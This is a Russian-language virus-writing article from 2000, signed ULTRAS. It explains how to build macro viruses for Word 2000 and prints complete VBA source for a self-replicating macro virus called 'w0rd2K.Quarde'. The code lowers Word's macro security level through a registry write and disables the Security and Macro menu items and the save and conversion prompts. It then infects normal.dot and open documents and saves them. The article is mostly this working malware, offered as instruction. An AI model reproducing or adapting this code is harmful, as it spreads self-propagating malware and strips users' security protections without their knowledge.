|
|
В этой статье я расскажу чем отличается Word 97 от Word2000, опишу
работу нового ворда и алгоритм его зараженния. В новой версий word почти
не притерпела никаких изменений...
Итак в ворде2000 добивили новую защиту, которую можно обоити внеся
поправки в реестр:
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Так же в новом ворде недолжны совпадать имена макросов, тоесть нельзя
чтобы в зараженных normal.dot и документе были макросы с одинаковыми
именами. Например: Document_Open... В вирусе придется менять имена
макросов например если в normal.dot макрос Document_Open то в документе
можно поставить Document_Close, а для других макросов можно просто менять
имена добавляя цифру или букву.
Пример вируса:
~~~~~~~~~~~~~~
Sub Document_Open()
'заражаем при открытий
On Error Resume Next
'w0rd2K.Quarde
'метка вируса
If Application.Version = "9.0" Then
'если текущая версия w0rd 9.0 (2000) то
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
'проверяем отключили мы w0rd 2000 защиту
CommandBars("Macro").Controls("Security...").Enabled = False
'отключаем один пункт в меню ворд
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
'отключаем защиту если мы ее еще не отключили
Else
'если защита была отключина то
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1)
Options.SaveNormalPrompt = (1 - 1)
'удаляем и отключаем пункты ворда для нормальной работы вируса.
End If
TD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(3, 1) <> "'w0rd2K.Quarde" Then
' проверка на зараженность normal.dot
Set NT = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
NT.DeleteLines 1, NT.CountOfLines
NT.AddFromString TD
' если normal.dot не зараженн, hmmm надо инфицировать его
NT.ReplaceLine 1, "Sub Document_Close()"
' меняем название макроса чтобы они не повторялись в документах и normal.dot
End If
If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(3, 1) <> "'w0rd2K.Quarde" Then
' проверка на зараженность активного документа
Set VA = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
VA.DeleteLines 1, VA.CountOfLines
VA.AddFromString TD
' если активный документ не зараженн, hmmm надо инфицировать его
VA.ReplaceLine 1, "Sub Document_Open()"
' меняем название макроса чтобы они не повторялись в документах и normal.dot
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'сохраняем все дело
End If
End Sub
Вот и все.. Теперь вопросы по ворду почти все исчерпаны, я ответил на
все вопросы которые мне задовали по мылу. Если есть еще вопросы
присылайте... [email protected]
ULTRAS (c) 2000
|
|